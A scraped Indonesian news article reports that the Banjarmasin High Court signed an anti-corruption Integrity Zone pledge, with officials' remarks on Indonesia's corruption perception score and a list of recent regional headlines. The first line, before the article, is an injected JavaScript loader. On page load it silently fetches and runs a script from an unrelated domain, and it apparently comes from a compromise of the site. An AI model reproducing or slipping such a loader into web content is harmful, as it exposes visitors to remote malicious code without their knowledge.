(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pengadilan Tinggi Banjarmasin Deklarasikan Zona Integritas Wilayah Bebas Korupsi


BANJARBARU, Pengadilan Tinggi (PT) Banjarmasin menandatangani komitmen Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM), Rabu (20/3) pagi. Penandatanganan dilakukan dalam rangka mengadakan pencanangan Zona Integritas mewujudkan WBK dan WBBM pada PT Banjarmasin.

Hadir dalam acara ini Sekda Provinsi Kalsel Drs. Abdul Haris Makkie, M.Si, Wakapolda Kalsel Brigjen Aneka Pristafuddin, Kajati Kalsel Ade Adhyaksa, Rektor ULM Prof Sutarto Hadi,  Ketua Pengadilan Tinggi Agama, Kakanwil Kemenkumham Kalsel Ferdinand Siagian dan tamu undangan lainnya.

Penandatananan piagam pertama kali dilakukan oleh Ketua PT Banjarmasin, Yohannes Ether Binti, SH, M.Hum. Dalam sambutannya, Yohannes mengatakan  sesuai Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 52 Tahun 2014, pencanangan Zona Integritas ini menjadi langkah awal oleh pihaknya.

“Ini masih langkah awal, baru peraturannnya. Belum lagi harus merubah mindset daripada aparat, ini yang berat. Tapi kita harus mulai mencanangkan ini agar kedepannya kantor ini akan bersih dari apapun yang berbau korupsi,” ujarnya.

Dikatakan Sekdaprov Haris Makkie, Skor Indeks Persepsi Korupsi atau Corruption Perceptions Index (CPI) Indonesia di tahun 2018 naik 1 poin menjadi 38 dari yang sebelumnya 37 di tahun 2017 dan 2016. Hal ini menyebabkan peringkat Indonesia juga naik 7 poin ke posisi ke 89 pada tahun 2018 yang mana pada tahun 2017 menduduki peringkat 96 dunia dari 180 negara.

Menurut Haris Makkie, faktor utama yang memberi pengaruh naiknya indeks persepsi Indonesia adalah upaya reformasi birokrasi yang terus digaungkan oleh pemerintah. Ia juga mengatakannberbagai aspek pelayanan publik terus ditingkatkan kualitasnya. Selain itu kemudahan perizinan, investasi, serta kepastian hukum terus ditingkatkan.

“Zona Integritas ini menjadi bentuk pencegahan dari potensi yang memungkinkan para aparat untuk melakukan tindak korupsi. Jadi ini komitmen kita bersama agar Zona Integritas ini bukan hanya pencanangan tapi juga diterapkan dan diaplikasikan,” ujarnya.

Ketua PT Banjarmasin menegaskan apabila menemukan pegawai kantor PT Banjarmasin melakukan tindakan yang menyimpang untuk tidak segan ditegur. “Merubah kelakukan itu memang susah, tapi kita harus komitmen dengan apa yang sudah kita deklarasikan hari ini. Tidak ada tolerasi terhadap korupsi,” tegas Yohannes Ether Binti, SH, M.Hum. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

5 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

6 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

7 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

7 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

7 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

9 jam ago

This website uses cookies.